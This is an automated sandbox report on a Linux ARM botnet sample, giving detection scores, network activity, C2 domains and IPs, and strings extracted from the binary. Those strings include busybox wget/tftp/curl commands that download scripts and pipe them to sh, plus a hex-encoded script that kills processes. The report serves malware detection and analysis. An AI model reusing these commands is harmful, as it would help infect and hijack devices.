Linux Analysis Report
splarm7.elf

Overview

General Information

Sample name: splarm7.elf
Analysis ID: 1580213
MD5: acae5967b4d29d5faf0481ad6b5ccc40
SHA1: 52db73b561e450836859f2d222f24f864db52c8e
SHA256: de786065635854817351a75979f9f0c155aa8a59a37fb2c35036ad035952b562
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 56
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Sends malformed DNS queries
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection

barindex
Source: splarm7.elf Virustotal: Detection: 29% Perma Link
Source: splarm7.elf ReversingLabs: Detection: 36%
Source: splarm7.elf String: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Networking

barindex
Source: global traffic TCP traffic: 209.38.192.73 ports 38241,1,2,3,4,8
Source: global traffic TCP traffic: 154.216.16.250 ports 38241,1,2,3,4,8
Source: global traffic DNS traffic detected: malformed DNS query: serisbot.geek. [malformed]
Source: global traffic TCP traffic: 192.168.2.13:58564 -> 154.216.16.250:38241
Source: global traffic TCP traffic: 192.168.2.13:49050 -> 209.38.192.73:38241
Source: global traffic TCP traffic: 192.168.2.13:51096 -> 154.216.16.244:38241
Source: /tmp/splarm7.elf (PID: 5428) Socket: 127.0.0.1:39148 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 112.143.34.252
Source: unknown TCP traffic detected without corresponding DNS query: 98.2.104.205
Source: unknown TCP traffic detected without corresponding DNS query: 158.229.231.139
Source: unknown TCP traffic detected without corresponding DNS query: 64.150.1.208
Source: unknown TCP traffic detected without corresponding DNS query: 123.14.105.8
Source: unknown TCP traffic detected without corresponding DNS query: 145.180.97.134
Source: unknown TCP traffic detected without corresponding DNS query: 168.82.35.255
Source: unknown TCP traffic detected without corresponding DNS query: 101.186.45.141
Source: unknown TCP traffic detected without corresponding DNS query: 170.207.59.143
Source: unknown TCP traffic detected without corresponding DNS query: 100.32.79.203
Source: unknown TCP traffic detected without corresponding DNS query: 126.101.255.74
Source: unknown TCP traffic detected without corresponding DNS query: 73.151.206.30
Source: unknown TCP traffic detected without corresponding DNS query: 53.211.164.214
Source: unknown TCP traffic detected without corresponding DNS query: 122.252.55.119
Source: unknown TCP traffic detected without corresponding DNS query: 164.139.186.192
Source: unknown TCP traffic detected without corresponding DNS query: 167.122.157.204
Source: unknown TCP traffic detected without corresponding DNS query: 212.12.17.94
Source: unknown TCP traffic detected without corresponding DNS query: 34.161.56.132
Source: unknown TCP traffic detected without corresponding DNS query: 218.139.138.125
Source: unknown TCP traffic detected without corresponding DNS query: 131.232.222.190
Source: unknown TCP traffic detected without corresponding DNS query: 209.208.202.33
Source: unknown TCP traffic detected without corresponding DNS query: 182.118.168.170
Source: unknown TCP traffic detected without corresponding DNS query: 128.34.100.205
Source: unknown TCP traffic detected without corresponding DNS query: 36.229.1.34
Source: unknown TCP traffic detected without corresponding DNS query: 66.205.249.128
Source: unknown TCP traffic detected without corresponding DNS query: 70.99.251.115
Source: unknown TCP traffic detected without corresponding DNS query: 35.137.239.61
Source: unknown TCP traffic detected without corresponding DNS query: 96.81.116.242
Source: unknown TCP traffic detected without corresponding DNS query: 3.203.18.102
Source: unknown TCP traffic detected without corresponding DNS query: 173.206.44.154
Source: unknown TCP traffic detected without corresponding DNS query: 29.6.60.231
Source: unknown TCP traffic detected without corresponding DNS query: 26.176.25.104
Source: unknown TCP traffic detected without corresponding DNS query: 28.231.129.235
Source: unknown TCP traffic detected without corresponding DNS query: 129.45.168.106
Source: unknown TCP traffic detected without corresponding DNS query: 161.105.123.151
Source: unknown TCP traffic detected without corresponding DNS query: 192.148.160.165
Source: unknown TCP traffic detected without corresponding DNS query: 100.29.41.68
Source: unknown TCP traffic detected without corresponding DNS query: 161.218.143.88
Source: unknown TCP traffic detected without corresponding DNS query: 109.198.151.150
Source: unknown TCP traffic detected without corresponding DNS query: 91.118.240.5
Source: unknown TCP traffic detected without corresponding DNS query: 87.181.160.117
Source: unknown TCP traffic detected without corresponding DNS query: 112.143.34.252
Source: unknown TCP traffic detected without corresponding DNS query: 162.212.102.90
Source: unknown TCP traffic detected without corresponding DNS query: 98.2.104.205
Source: unknown TCP traffic detected without corresponding DNS query: 54.175.58.82
Source: unknown TCP traffic detected without corresponding DNS query: 158.229.231.139
Source: unknown TCP traffic detected without corresponding DNS query: 161.113.111.236
Source: unknown TCP traffic detected without corresponding DNS query: 25.44.158.98
Source: unknown TCP traffic detected without corresponding DNS query: 64.150.1.208
Source: unknown TCP traffic detected without corresponding DNS query: 79.186.164.34
Source: global traffic DNS traffic detected: DNS query: serisontop.dyn
Source: global traffic DNS traffic detected: DNS query: serisbot.geek. [malformed]
Source: splarm7.elf String found in binary or memory: http:///curl.sh
Source: splarm7.elf String found in binary or memory: http:///wget.sh
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > .d
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal56.troj.linELF@0/74@13/0
Source: /tmp/splarm7.elf (PID: 5436) File opened: /proc/5470/maps Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436) File opened: /proc/5470/cmdline Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436) File opened: /proc/5460/maps Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436) File opened: /proc/5460/cmdline Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436) File opened: /proc/5471/maps Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436) File opened: /proc/5471/cmdline Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436) File opened: /proc/5461/maps Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436) File opened: /proc/5461/cmdline Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436) File opened: /proc/5462/maps Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436) File opened: /proc/5462/cmdline Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436) File opened: /proc/5463/maps Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436) File opened: /proc/5463/cmdline Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436) File opened: /proc/5464/maps Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436) File opened: /proc/5464/cmdline Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436) File opened: /proc/5454/maps Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436) File opened: /proc/5454/cmdline Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436) File opened: /proc/5465/maps Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436) File opened: /proc/5465/cmdline Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436) File opened: /proc/5455/maps Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436) File opened: /proc/5455/cmdline Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436) File opened: /proc/5466/maps Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436) File opened: /proc/5466/cmdline Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436) File opened: /proc/5456/maps Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436) File opened: /proc/5456/cmdline Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436) File opened: /proc/5467/maps Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436) File opened: /proc/5467/cmdline Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436) File opened: /proc/5522/maps Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436) File opened: /proc/5522/cmdline Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436) File opened: /proc/5457/maps Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436) File opened: /proc/5457/cmdline Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436) File opened: /proc/5468/maps Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436) File opened: /proc/5468/cmdline Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436) File opened: /proc/5458/maps Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436) File opened: /proc/5458/cmdline Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436) File opened: /proc/5469/maps Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436) File opened: /proc/5469/cmdline Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436) File opened: /proc/5459/maps Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436) File opened: /proc/5459/cmdline Jump to behavior
Source: /tmp/splarm7.elf (PID: 5428) Queries kernel information via 'uname': Jump to behavior
Source: splarm7.elf, 5428.1.00007ffc51d8d000.00007ffc51dae000.rw-.sdmp, splarm7.elf, 5432.1.00007ffc51d8d000.00007ffc51dae000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/splarm7.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/splarm7.elf
Source: splarm7.elf, 5428.1.000055cbdd0b0000.000055cbdd1ff000.rw-.sdmp, splarm7.elf, 5432.1.000055cbdd0b0000.000055cbdd1ff000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/arm
Source: splarm7.elf, 5428.1.000055cbdd0b0000.000055cbdd1ff000.rw-.sdmp, splarm7.elf, 5432.1.000055cbdd0b0000.000055cbdd1ff000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: splarm7.elf, 5428.1.00007ffc51d8d000.00007ffc51dae000.rw-.sdmp, splarm7.elf, 5432.1.00007ffc51d8d000.00007ffc51dae000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs